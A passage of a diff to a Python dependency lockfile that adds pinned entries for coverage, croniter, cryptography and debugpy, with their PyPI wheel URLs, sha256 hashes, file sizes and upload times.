"sha256:57dfc8048c72ba48a8c45e188d811e5efd7e49b387effc8fb17e97936dde5bf6", size = 220001, upload-time = "2025-12-28T15:42:31.319Z" }, + { url = "https://files.pythonhosted.org/packages/b5/d7/50de63af51dfa3a7f91cc37ad8fcc1e244b734232fbc8b9ab0f3c834a5cd/coverage-7.13.1-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:3f2f725aa3e909b3c5fdb8192490bdd8e1495e85906af74fe6e34a2a77ba0673", size = 261370, upload-time = "2025-12-28T15:42:32.992Z" }, + { url = "https://files.pythonhosted.org/packages/e1/2c/d31722f0ec918fd7453b2758312729f645978d212b410cd0f7c2aed88a94/coverage-7.13.1-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:9ee68b21909686eeb21dfcba2c3b81fee70dcf38b140dcd5aa70680995fa3aa5", size = 263485, upload-time = "2025-12-28T15:42:34.759Z" }, + { url = "https://files.pythonhosted.org/packages/fa/7a/2c114fa5c5fc08ba0777e4aec4c97e0b4a1afcb69c75f1f54cff78b073ab/coverage-7.13.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:724b1b270cb13ea2e6503476e34541a0b1f62280bc997eab443f87790202033d", size = 265890, upload-time = "2025-12-28T15:42:36.517Z" }, + { url = "https://files.pythonhosted.org/packages/65/d9/f0794aa1c74ceabc780fe17f6c338456bbc4e96bd950f2e969f48ac6fb20/coverage-7.13.1-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:916abf1ac5cf7eb16bc540a5bf75c71c43a676f5c52fcb9fe75a2bd75fb944e8", size = 260445, upload-time = "2025-12-28T15:42:38.646Z" }, + { url = "https://files.pythonhosted.org/packages/49/23/184b22a00d9bb97488863ced9454068c79e413cb23f472da6cbddc6cfc52/coverage-7.13.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:776483fd35b58d8afe3acbd9988d5de592ab6da2d2a865edfdbc9fdb43e7c486", size = 263357, upload-time = "2025-12-28T15:42:40.788Z" }, + { url = "https://files.pythonhosted.org/packages/7d/bd/58af54c0c9199ea4190284f389005779d7daf7bf3ce40dcd2d2b2f96da69/coverage-7.13.1-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:b6f3b96617e9852703f5b633ea01315ca45c77e879584f283c44127f0f1ec564", size = 260959, upload-time = "2025-12-28T15:42:42.808Z" }, + { url = "https://files.pythonhosted.org/packages/4b/2a/6839294e8f78a4891bf1df79d69c536880ba2f970d0ff09e7513d6e352e9/coverage-7.13.1-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:bd63e7b74661fed317212fab774e2a648bc4bb09b35f25474f8e3325d2945cd7", size = 259792, upload-time = "2025-12-28T15:42:44.818Z" }, + { url = "https://files.pythonhosted.org/packages/ba/c3/528674d4623283310ad676c5af7414b9850ab6d55c2300e8aa4b945ec554/coverage-7.13.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:933082f161bbb3e9f90d00990dc956120f608cdbcaeea15c4d897f56ef4fe416", size = 262123, upload-time = "2025-12-28T15:42:47.108Z" }, + { url = "https://files.pythonhosted.org/packages/06/c5/8c0515692fb4c73ac379d8dc09b18eaf0214ecb76ea6e62467ba7a1556ff/coverage-7.13.1-cp314-cp314t-win32.whl", hash = "sha256:18be793c4c87de2965e1c0f060f03d9e5aff66cfeae8e1dbe6e5b88056ec153f", size = 222562, upload-time = "2025-12-28T15:42:49.144Z" }, + { url = "https://files.pythonhosted.org/packages/05/0e/c0a0c4678cb30dac735811db529b321d7e1c9120b79bd728d4f4d6b010e9/coverage-7.13.1-cp314-cp314t-win_amd64.whl", hash = "sha256:0e42e0ec0cd3e0d851cb3c91f770c9301f48647cb2877cb78f74bdaa07639a79", size = 223670, upload-time = "2025-12-28T15:42:51.218Z" }, + { url = "https://files.pythonhosted.org/packages/f5/5f/b177aa0011f354abf03a8f30a85032686d290fdeed4222b27d36b4372a50/coverage-7.13.1-cp314-cp314t-win_arm64.whl", hash = "sha256:eaecf47ef10c72ece9a2a92118257da87e460e113b83cc0d2905cbbe931792b4", size = 221707, upload-time = "2025-12-28T15:42:53.034Z" }, + { url = "https://files.pythonhosted.org/packages/cc/48/d9f421cb8da5afaa1a64570d9989e00fb7955e6acddc5a12979f7666ef60/coverage-7.13.1-py3-none-any.whl", hash = "sha256:2016745cb3ba554469d02819d78958b571792bb68e31302610e898f80dd3a573", size = 210722, upload-time = "2025-12-28T15:42:54.901Z" }, +] + +[package.optional-dependencies] +toml = [ + { name = "tomli", marker = "python_full_version <= '3.11'" }, +] + +[[package]] +name = "croniter" +version = "6.2.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "python-dateutil", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/df/de/5832661ed55107b8a09af3f0a2e71e0957226a59eb1dcf0a445cce6daf20/croniter-6.2.2.tar.gz", hash = "sha256:ba60832a5ec8e12e51b8691c3309a113d1cf6526bdf1a48150ce8ec7a532d0ab", size = 113762, upload-time = "2026-03-15T08:43:48.112Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d0/39/783980e78cb92c2d7bdb1fc7dbc86e94ccc6d58224d76a7f1f51b6c51e30/croniter-6.2.2-py3-none-any.whl", hash = "sha256:a5d17b1060974d36251ea4faf388233eca8acf0d09cbd92d35f4c4ac8f279960", size = 45422, upload-time = "2026-03-15T08:43:46.626Z" }, +] + +[[package]] +name = "cryptography" +version = "48.0.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cffi", marker = "python_full_version >= '3.11' and python_full_version < '3.14' and platform_python_implementation != 'PyPy'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/12/45/870e7f4bef50e5f53b9f51d4428aee5290eedf58ba443f16b1ebb7ab8e66/cryptography-48.0.1.tar.gz", hash = "sha256:266f4ee051abb2f725b74ef8072b521ce1feacf685a3364fa6a6b45548db791a", size = 832989, upload-time = "2026-06-09T22:32:31.8Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1b/bc/ee4137cbbe105652c0ee4252792b78fc8e7afa4b8e61d9d5dc05a7f45731/cryptography-48.0.1-cp311-abi3-macosx_10_9_universal2.whl", hash = "sha256:3e4a1a3232eef2e6c732827d5722db29a0cc8b27af2a4d865b094cf954be9ca1", size = 8008324, upload-time = "2026-06-09T22:31:00.702Z" }, + { url = "https://files.pythonhosted.org/packages/d5/85/6379d42181bfc713094f081360fc5784d6c816b599d45e7f082502d173ce/cryptography-48.0.1-cp311-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:32143b24adb918f078134e1e230f1eb8cc04886b92c28b5f0041aaf3e5699225", size = 4696243, upload-time = "2026-06-09T22:32:33.446Z" }, + { url = "https://files.pythonhosted.org/packages/9c/87/c85d147b53323c7eb4d850920c8901377323c2a0ff8d79c262d4fee89aa2/cryptography-48.0.1-cp311-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:f0d27a5696721ef7a672b8c810f6aded391058e0b9486e63e6d93baf765da691", size = 4713235, upload-time = "2026-06-09T22:31:40.141Z" }, + { url = "https://files.pythonhosted.org/packages/79/58/67cbf8cf1ee7c54b439ca07bbecf8362c07afc11a3724fea70f745784add/cryptography-48.0.1-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:eb86ce1af36fe65041b6db9a8bb064ee621a7e5fded0f80d475ec243477cd242", size = 4702323, upload-time = "2026-06-09T22:31:42.191Z" }, + { url = "https://files.pythonhosted.org/packages/89/c6/24266ac10c47f6cd2a865f4446062b466da1d1f10b27189eac00e61bf0c9/cryptography-48.0.1-cp311-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:b024e784ad6c077ee0147b35ea9cbfc1e34e1fd4c1dcca214c2794d73a12df08", size = 5300085, upload-time = "2026-06-09T22:31:58.703Z" }, + { url = "https://files.pythonhosted.org/packages/d2/bb/cc4b78784f97efc8c5874c2a9743708d172be6663024b34a0467885ae0c8/cryptography-48.0.1-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:3752f2dbc8f07a30aad2932c986cea495b03bb554887828225da104f732852b6", size = 4746137, upload-time = "2026-06-09T22:31:31.01Z" }, + { url = "https://files.pythonhosted.org/packages/1f/52/0c44de3f5267f8fbe8e835138017522a333436166e406f0db9b9e6e3033f/cryptography-48.0.1-cp311-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:bd81490cd5801d755cf97bb68ac191f14b708470b1c7cf4580f669b9c9264cd8", size = 4333867, upload-time = "2026-06-09T22:32:28.096Z" }, + { url = "https://files.pythonhosted.org/packages/9a/2e/772d7adbfa931537bc401640b7cac9976bff689bda187833e5d63b428e49/cryptography-48.0.1-cp311-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:66fd0771e7b9c6dcd44cf1120690d2338d16d72795cf40cae2786a39eba65429", size = 4701805, upload-time = "2026-06-09T22:31:38.284Z" }, + { url = "https://files.pythonhosted.org/packages/f8/a3/b06844f303873493c963caf581c04df31c7035e0c1b0f02c4814d319ec80/cryptography-48.0.1-cp311-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:3fd2ca57062b241c856670b073487d2e86c4637937ca5601e48f97bf8e11fc8f", size = 5258461, upload-time = "2026-06-09T22:31:04.187Z" }, + { url = "https://files.pythonhosted.org/packages/9f/13/8b765e2e12b07c74941caadb9d1c8fdc006c4dfbf2b8f2d610519758954d/cryptography-48.0.1-cp311-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:0ee6ea481db1ab889cba043ec1eda17bb9c1ea79db6722f779c3667f9f70322f", size = 4745488, upload-time = "2026-06-09T22:32:30.07Z" }, + { url = "https://files.pythonhosted.org/packages/2e/aa/48972bce55049b32a94f4907eda4d75fa385aad8a39506cc2fc72196ecf0/cryptography-48.0.1-cp311-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:f2ceef93cb096aa3c4cc4b5c94ca6131f9196d28c64d6111533402a9b2054d41", size = 4830256, upload-time = "2026-06-09T22:31:43.868Z" }, + { url = "https://files.pythonhosted.org/packages/47/a2/e5079a032fb85cf6005046ca92bbd78b0c82dad2b5751ab8c311659da06f/cryptography-48.0.1-cp311-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:9bd3f92d76217892b15df84ca256c2c113d386fdda7a7d8691aeeced976507c6", size = 4979117, upload-time = "2026-06-09T22:31:05.845Z" }, + { url = "https://files.pythonhosted.org/packages/b7/a0/8f50cae9c74e718ed769d63ed5c74bd0ea830c9550a74629cebd1b9c7bc7/cryptography-48.0.1-cp311-abi3-win32.whl", hash = "sha256:b9a32b876490d66c8bcc9963ef220199569748434ab01a9d6aaeabf88e7f5158", size = 3304154, upload-time = "2026-06-09T22:32:16.845Z" }, + { url = "https://files.pythonhosted.org/packages/c5/69/0572c77dbace6fef72f33755bd52ea399c71367250d366237f8691826b9e/cryptography-48.0.1-cp311-abi3-win_amd64.whl", hash = "sha256:39489bfca54c7a1f6b297efcd8bc608ab92d16c4ca631b0cad4da46724588b24", size = 3817138, upload-time = "2026-06-09T22:32:00.388Z" }, + { url = "https://files.pythonhosted.org/packages/42/06/3e768b4c3bc78201583fa35a0e18f640dd782ff41afba88f8545481a8874/cryptography-48.0.1-cp314-cp314t-macosx_10_9_universal2.whl", hash = "sha256:f817adc181390bd54f2f700107a7419040fb7c1bdf2fc26f36551a06a68c3345", size = 7989830, upload-time = "2026-06-09T22:31:07.8Z" }, + { url = "https://files.pythonhosted.org/packages/8a/13/6476736484b94041110c8340a3eb63962fea4975baea8cb4a512adb44d4d/cryptography-48.0.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d5d30989c6917b478b5817902e85fddaea2261efa8648383d965381ccb9e1ac4", size = 4689201, upload-time = "2026-06-09T22:31:09.745Z" }, + { url = "https://files.pythonhosted.org/packages/79/62/65a87f34d2a431546e2509b85d55e8c90df86d668f6731da64d538512ac2/cryptography-48.0.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:df637c05205ea7c1d7fbcbe54bbfea648a52951155f997af13d895d0ecc96991", size = 4702822, upload-time = "2026-06-09T22:32:24.409Z" }, + { url = "https://files.pythonhosted.org/packages/7f/59/810b5204b0a9b10f4b6bc06bd551a8b609803cd931806bc3b71884b225e5/cryptography-48.0.1-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:869c3b8a53bfe27147832df48b32adadf558249d50e76cb3769d40e986b13265", size = 4694875, upload-time = "2026-06-09T22:32:08.737Z" }, + { url = "https://files.pythonhosted.org/packages/24/dc/d8ca05ffea724eec6d232ea6f18e74c269eb6bdfdcc9bfba689790d1325f/cryptography-48.0.1-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:e361afba8918070d376df76f408a4f67fec0ee9cff81a99e48fe9a233ef59e17", size = 5290385, upload-time = "2026-06-09T22:31:15.212Z" }, + { url = "https://files.pythonhosted.org/packages/03/8c/3be6cb4da181f5bb6c19cf560c2359d60644a6b5fc5b57854e528f47b296/cryptography-48.0.1-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:d069066deead00ac7f090be101be875a06855908f7ec004c27b8fefb4acfb411", size = 4737082, upload-time = "2026-06-09T22:32:22.66Z" }, + { url = "https://files.pythonhosted.org/packages/aa/f6/d5f60a5a1434dbfd949e227fd0065d194c7e6b6ac526b17f5c06152b8231/cryptography-48.0.1-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:09f73a725d582cef64b91281a322cd798d14a33b2b6f2b7ad9531dc336d84c02", size = 4325328, upload-time = "2026-06-09T22:32:10.777Z" }, + { url = "https://files.pythonhosted.org/packages/17/b7/ba75dd947a14b6ad907b01ae8f6b5b348cdd1b48142f0063dee9e20c1d9d/cryptography-48.0.1-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:15254441469dd6bf027039453288e2072124f8b6603563f5d759e1c9b69273fa", size = 4694530, upload-time = "2026-06-09T22:31:53.105Z" }, + { url = "https://files.pythonhosted.org/packages/62/29/50d6b9e8aff12d8b67afaeb3569335e32dc83a5723e3bbded24fdac9f809/cryptography-48.0.1-cp314-cp314t-manylinux_2_34_ppc64le.whl", hash = "sha256:8ace4507d1e6533c125f4fac754f8bb8b6a74c08e92179dabd7e16571a3efbf3", size = 5245046, upload-time = "2026-06-09T22:31:25.774Z" }, + { url = "https://files.pythonhosted.org/packages/9f/04/618f4115cfc0add0838c82507aa18a346089428da8653ad38b3ff36f5cb3/cryptography-48.0.1-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:b4e391975f038e66432328639620a4aff2d307513b004f1ca06d6225bced815c", size = 4736660, upload-time = "2026-06-09T22:32:12.676Z" }, + { url = "https://files.pythonhosted.org/packages/24/9c/06e062462a0de28a3b3911322eded4c16deb9f441b1b7575d3dc59488ab5/cryptography-48.0.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:42fcd8e26fe555d9b3577a135f5091fefa0aa4e99129c23fb56787a1bd4ada72", size = 4822229, upload-time = "2026-06-09T22:31:17.062Z" }, + { url = "https://files.pythonhosted.org/packages/f4/be/0561971eaaee4b8a0e7d5113c536921063ab91aaf23278ac374eaf881e11/cryptography-48.0.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:c1400da5e32a43253392277eac7490a60e497d810a63dd5608d71bbd7af507c9", size = 4966364, upload-time = "2026-06-09T22:31:32.842Z" }, + { url = "https://files.pythonhosted.org/packages/a4/27/728c77876f12b000820b69ae490f3c4083775e79e07827e9e60be07ad209/cryptography-48.0.1-cp314-cp314t-win32.whl", hash = "sha256:0df56b056bc17c1b7d6821dfa65216e62bd232d8ab05eb3db44e71d235651471", size = 3278498, upload-time = "2026-06-09T22:31:29.154Z" }, + { url = "https://files.pythonhosted.org/packages/06/e3/79a612c6d7b1e6ee0edd43633d53035bec2cfb78c82b76f7864f39e36f34/cryptography-48.0.1-cp314-cp314t-win_amd64.whl", hash = "sha256:9de21387aa95e2a895823d0745b430bed4f33503ba9ab5e0b5311f33e37d66d2", size = 3798790, upload-time = "2026-06-09T22:31:56.697Z" }, + { url = "https://files.pythonhosted.org/packages/ca/6c/00fa2a95997164c8b2072ce327c23d4ab20809ccc323ea5fab91e53a4bba/cryptography-48.0.1-cp39-abi3-macosx_10_9_universal2.whl", hash = "sha256:4fdc69f8e4316bcf0c8c8ec1f26f285d12e8142d88d96c876a59a03be3f6ae67", size = 7987408, upload-time = "2026-06-09T22:32:20.777Z" }, + { url = "https://files.pythonhosted.org/packages/b0/d9/45f309a7e4e5f3f8f121d6d3be9e94024a7726ec598d6e08ae04edb2f04d/cryptography-48.0.1-cp39-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:48fe40804d4caa2288f24e70ca8c64c42dd826da0ad7e4f1b41b2128d679e6c8", size = 4690196, upload-time = "2026-06-09T22:31:54.74Z" }, + { url = "https://files.pythonhosted.org/packages/5f/9f/a1bc8bcc798811b8527eb374bbccf30a3f3e806829d967118222bf1125eb/cryptography-48.0.1-cp39-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:86be3b1b0b6bf09482fb50a979c508d2950ed95f5621ec77f4e385962006b83a", size = 4696782, upload-time = "2026-06-09T22:31:45.615Z" }, + { url = "https://files.pythonhosted.org/packages/66/c2/81a4fb4e4373c500bb526bc337ac5719dd31dd15b970b84a238168c6aa08/cryptography-48.0.1-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:4ab0a343c807bbcd90c971cd1ecf072937cd01847a9e002bef88fb47ac6be577", size = 4696618, upload-time = "2026-06-09T22:31:11.564Z" }, + { url = "https://files.pythonhosted.org/packages/e5/0b/aa68b221dde92d09cb29a024ede17550ee21e77a404e59fc093c82bb51e1/cryptography-48.0.1-cp39-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:9621de99d2da096006b629979efd8ae7eb2d8b822488d0c89ee4000c306c59b1", size = 5289970, upload-time = "2026-06-09T22:31:20.368Z" }, + { url = "https://files.pythonhosted.org/packages/78/13/fba657f958d2af66ea959a4ba01212632089249d34af1ae48054136344d7/cryptography-48.0.1-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:88c852a0ae366e262e5a1744b685e6a433dc8788dd2a277e418bf4904203609d", size = 4731873, upload-time = "2026-06-09T22:31:22.253Z" }, + { url = "https://files.pythonhosted.org/packages/4c/4c/9a964756d24a26b3e34dfcb16f961b89838786e6700b635b0d1e3adff4b6/cryptography-48.0.1-cp39-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:43c5835e2cb98c8733d86f57d6fc879b613f5c3478607281c3e36daffc6dd8a6", size = 4330804, upload-time = "2026-06-09T22:31:36.56Z" }, + { url = "https://files.pythonhosted.org/packages/4b/0f/a10f3a6eb12950a10e3a874070283aa2dd5875b2bfd15fad8a3e17b3f13e/cryptography-48.0.1-cp39-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:fe0180af5bf9236518a087e35bf2d9a347d5f5f51e63c579d683ddff424e3d46", size = 4696217, upload-time = "2026-06-09T22:31:13.351Z" }, + { url = "https://files.pythonhosted.org/packages/f3/6f/5cd12f951165ea73ef85266775d97e4c763b2474ccfd816dd69d3a18d6f8/cryptography-48.0.1-cp39-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:b7a2d1a937a738a881737cec135a38bb61470589b17515b9f73f571d0ae10401", size = 5245252, upload-time = "2026-06-09T22:32:02.193Z" }, + { url = "https://files.pythonhosted.org/packages/68/ab/8aaa12e4516ec4464033ab79b6f3b592bd5a92102467c4ace8a0d970203f/cryptography-48.0.1-cp39-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:b74ca3b8e5ecdd833bf6a002ca41b4793bb27fb8f1c06ffaf2643c9e9140e31b", size = 4731388, upload-time = "2026-06-09T22:32:04.019Z" }, + { url = "https://files.pythonhosted.org/packages/1b/24/50027ea4dca85ec1f40688f3c24fb32ccacd520583c9592c3cc95628e6fb/cryptography-48.0.1-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:2c37f2461406063b417837f5f3daab668652acd82423efcd7f0a9f04be972de1", size = 4824186, upload-time = "2026-06-09T22:32:18.707Z" }, + { url = "https://files.pythonhosted.org/packages/52/41/04cb5eb17085ade6f50cc611fb657df6a0f5885350de8764ece89c050197/cryptography-48.0.1-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:86fe77abb1bd87afb251d4d02ada7ecf53a32cee9b67d976abb2e45a13297475", size = 4964539, upload-time = "2026-06-09T22:31:18.793Z" }, + { url = "https://files.pythonhosted.org/packages/36/bf/ed70785c496e89d7e73b7cda2d21f2447fd6d4e821714b8d04ff217fed92/cryptography-48.0.1-cp39-abi3-win32.whl", hash = "sha256:6b2c0c3e6ccf3ade7750f836ef3ee36eea250cc467d45c256895573ac08cc6f1", size = 3282307, upload-time = "2026-06-09T22:30:53.162Z" }, + { url = "https://files.pythonhosted.org/packages/b3/ff/371ea7d252656ee1eb6d83eeeef3d1d0c6baf1d6497687d081ea03814670/cryptography-48.0.1-cp39-abi3-win_amd64.whl", hash = "sha256:9a49ca6c81417f6a5edb50375a60cccdd70fa0a91a5211829dbea74eba94d2ac", size = 3793408, upload-time = "2026-06-09T22:32:15.191Z" }, + { url = "https://files.pythonhosted.org/packages/a9/d3/eb4e394e587341fdad09a09101fa76478ead3a78b0ad63e55c22f0d75c02/cryptography-48.0.1-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:08a597acce1ff37f347400087776599e2348a3a8bc53b44120e463cd274efe4a", size = 3951747, upload-time = "2026-06-09T22:31:23.871Z" }, + { url = "https://files.pythonhosted.org/packages/e0/4a/3f43451b4f858bfceaaaffc649e6e787e8d4fb332a1d443af39ab02cc8f1/cryptography-48.0.1-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:735824ec41b7f74a7c45fb1591349333e4c696cb6c044e5f46356e560143e4cd", size = 4641226, upload-time = "2026-06-09T22:31:02.532Z" }, + { url = "https://files.pythonhosted.org/packages/73/4e/855584c2c23b09e4ce2d3b9c30e983e679cd60b068c513c6bbdb91e11782/cryptography-48.0.1-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:92a46e1d638daa264ba2971c0b0489c9409787943efae4d60ffda3d091ef832c", size = 4668958, upload-time = "2026-06-09T22:32:06.213Z" }, + { url = "https://files.pythonhosted.org/packages/42/3b/d35750e41d803d1e516fd6d6011f065424924da7af1748cef4cc9cb3ede1/cryptography-48.0.1-pp311-pypy311_pp73-manylinux_2_34_aarch64.whl", hash = "sha256:7e234ac052af99f2700826a5c29ea99d9c1b1f80341cde62d11c8154dc8e0bd9", size = 4640793, upload-time = "2026-06-09T22:32:26.331Z" }, + { url = "https://files.pythonhosted.org/packages/ca/aa/cdb7181fe865285e87e96825aaab239400f1de0c3bfba9bd9769b79f1a92/cryptography-48.0.1-pp311-pypy311_pp73-manylinux_2_34_x86_64.whl", hash = "sha256:33842cf0888951cef5bc7ac724ab844a42044c1727b967b7f8997289a0464f92", size = 4668505, upload-time = "2026-06-09T22:31:27.534Z" }, + { url = "https://files.pythonhosted.org/packages/5d/8c/ce3823c06c2804f194f9e64f0d67fa3f4094a39f2bb1a990cd03603af8fc/cryptography-48.0.1-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:6184ca7b174f28d7c703f1290d4b297217c45355f77a98f67e9b7f14549ac54a", size = 3742204, upload-time = "2026-06-09T22:31:34.773Z" }, +] + +[[package]] +name = "debugpy" +version = "1.8.19" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/73/75/9e12d4d42349b817cd545b89247696c67917aab907012ae5b64bbfea3199/debugpy-1.8.19.tar.gz", hash = "sha256:eea7e5987445ab0b5ed258093722d5ecb8bb72217c5c9b1e21f64efe23ddebdb", size = 1644590, upload-time = "2025-12-15T21:53:28.044Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/bf/98/d57054371887f37d3c959a7a8dc3c76b763acb65f5e78d849d7db7cadc5b/debugpy-1.8.19-cp310-cp310-macosx_15_0_x86_64.whl", hash = "sha256:fce6da15d73be5935b4438435c53adb512326a3e11e4f90793ea87cd9f018254", size = 2098493, upload-time = "2025-12-15T21:53:30.149Z" }, + { url = "https://files.pythonhosted.org/packages/ee/dd/c517b9aa3500157a30e4f4c4f5149f880026bd039d2b940acd2383a85d8e/debugpy-1.8.19-cp310-cp310-manylinux_2_34_x86_64.whl", hash = "sha256:e24b1652a1df1ab04d81e7ead446a91c226de704ff5dde6bd0a0dbaab07aa3f2", size = 3087875, upload-time = "2025-12-15T21:53:31.511Z" }, + { url = "https://files.pythonhosted.org/packages/d8/57/3d5a5b0da9b63445253107ead151eff29190c6ad7440c68d1a59d56613aa/debugpy-1.8.19-cp310-cp310-win32.whl", hash = "sha256:327cb28c3ad9e17bc925efc7f7018195fd4787c2fe4b7af1eec11f1d19bdec62", size = 5239378, upload-time = "2025-12-15T21:53:32.979Z" }, + { url = "https://files.pythonhosted.org/packages/a6/36/7f9053c4c549160c87ae7e43800138f2695578c8b65947114c97250983b6/debugpy-1.8.19-cp310-cp310-win_amd64.whl", hash = "sha256:b7dd275cf2c99e53adb9654f5ae015f70415bbe2bacbe24cfee30d54b6aa03c5", size = 5271129, upload-time = "2025-12-15T21:53:35.085Z" }, + { url = "https://files.pythonhosted.org/packages/80/e2/48531a609b5a2aa94c6b6853afdfec8da05630ab9aaa96f1349e772119e9/debugpy-1.8.19-cp311-cp311-macosx_15_0_universal2.whl", hash = "sha256:c5dcfa21de1f735a4f7ced4556339a109aa0f618d366ede9da0a3600f2516d8b", size = 2207620, upload-time = "2025-12-15T21:53:37.1Z" }, + { url = "https://files.pythonhosted.org/packages/1b/d4/97775c01d56071969f57d93928899e5616a4cfbbf4c8cc75390d3a51c4a4/debugpy-1.8.19-cp311-cp311-manylinux_2_34_x86_64.whl", hash = "sha256:806d6800246244004625d5222d7765874ab2d22f3ba5f615416cf1342d61c488", size = 3170796, upload-time = "2025-12-15T21:53:38.513Z" }, + { url = "https://files.pythonhosted.org/packages/8d/7e/8c7681bdb05be9ec972bbb1245eb7c4c7b0679bb6a9e6408d808bc876d3d/debugpy-1.8.19-cp311-cp311-win32.whl", hash = "sha256:783a519e6dfb1f3cd773a9bda592f4887a65040cb0c7bd38dde410f4e53c40d4", size = 5164287, upload-time = "2025-12-15T21:53:40.857Z" }, + { url = "https://files.pythonhosted.org/packages/f2/a8/aaac7ff12ddf5d68a39e13a423a8490426f5f661384f5ad8d9062761bd8e/debugpy-1.8.19-cp311-cp311-win_amd64.whl", hash = "sha256:14035cbdbb1fe4b642babcdcb5935c2da3b1067ac211c5c5a8fdc0bb31adbcaa", size = 5188269, upload-time = "2025-12-15T21:53:42.359Z" }, + { url = "https://files.pythonhosted.org/packages/4a/15/d762e5263d9e25b763b78be72dc084c7a32113a0bac119e2f7acae7700ed/debugpy-1.8.19-cp312-cp312-macosx_15_0_universal2.whl", hash = "sha256:bccb1540a49cde77edc7ce7d9d075c1dbeb2414751bc0048c7a11e1b597a4c2e", size = 2549995, upload-time = "2025-12-15T21:53:43.773Z" }, + { url = "https://files.pythonhosted.org/packages/a7/88/f7d25c68b18873b7c53d7c156ca7a7ffd8e77073aa0eac170a9b679cf786/debugpy-1.8.19-cp312-cp312-manylinux_2_34_x86_64.whl", hash = "sha256:e9c68d9a382ec754dc05ed1d1b4ed5bd824b9f7c1a8cd1083adb84b3c93501de", size = 4309891, upload-time = "2025-12-15T21:53:45.26Z" }, + { url = "https://files.pythonhosted.org/packages/c5/4f/a65e973aba3865794da65f71971dca01ae66666132c7b2647182d5be0c5f/debugpy-1.8.19-cp312-cp312-win32.whl", hash = "sha256:6599cab8a783d1496ae9984c52cb13b7c4a3bd06a8e6c33446832a5d97ce0bee", size = 5286355, upload-time = "2025-12-15T21:53:46.763Z" }, + { url = "https://files.pythonhosted.org/packages/d8/3a/d3d8b48fec96e3d824e404bf428276fb8419dfa766f78f10b08da1cb2986/debugpy-1.8.19-cp312-cp312-win_amd64.whl", hash = "sha256:66e3d2fd8f2035a8f111eb127fa508469dfa40928a89b460b41fd988684dc83d", size = 5328239, upload-time = "2025-12-15T21:53:48.868Z" }, + { url = "https://files.pythonhosted.org/packages/71/3d/388035a31a59c26f1ecc8d86af607d0c42e20ef80074147cd07b180c4349/debugpy-1.8.19-cp313-cp313-macosx_15_0_universal2.whl", hash = "sha256:91e35db2672a0abaf325f4868fcac9c1674a0d9ad9bb8a8c849c03a5ebba3e6d", size = 2538859, upload-time = "2025-12-15T21:53:50.478Z" }, + { url = "https://files.pythonhosted.org/packages/4a/19/c93a0772d0962294f083dbdb113af1a7427bb632d36e5314297068f55db7/debugpy-1.8.19-cp313-cp313-manylinux_2_34_x86_64.whl", hash = "sha256:85016a73ab84dea1c1f1dcd88ec692993bcbe4532d1b49ecb5f3c688ae50c606", size = 4292575, upload-time = "2025-12-15T21:53:51.821Z" }, + { url = "https://files.pythonhosted.org/packages/5c/56/09e48ab796b0a77e3d7dc250f95251832b8bf6838c9632f6100c98bdf426/debugpy-1.8.19-cp313-cp313-win32.whl", hash = "sha256:b605f17e89ba0ecee994391194285fada89cee111cfcd29d6f2ee11cbdc40976", size = 5286209, upload-time = "2025-12-15T21:53:53.602Z" }, + { url = 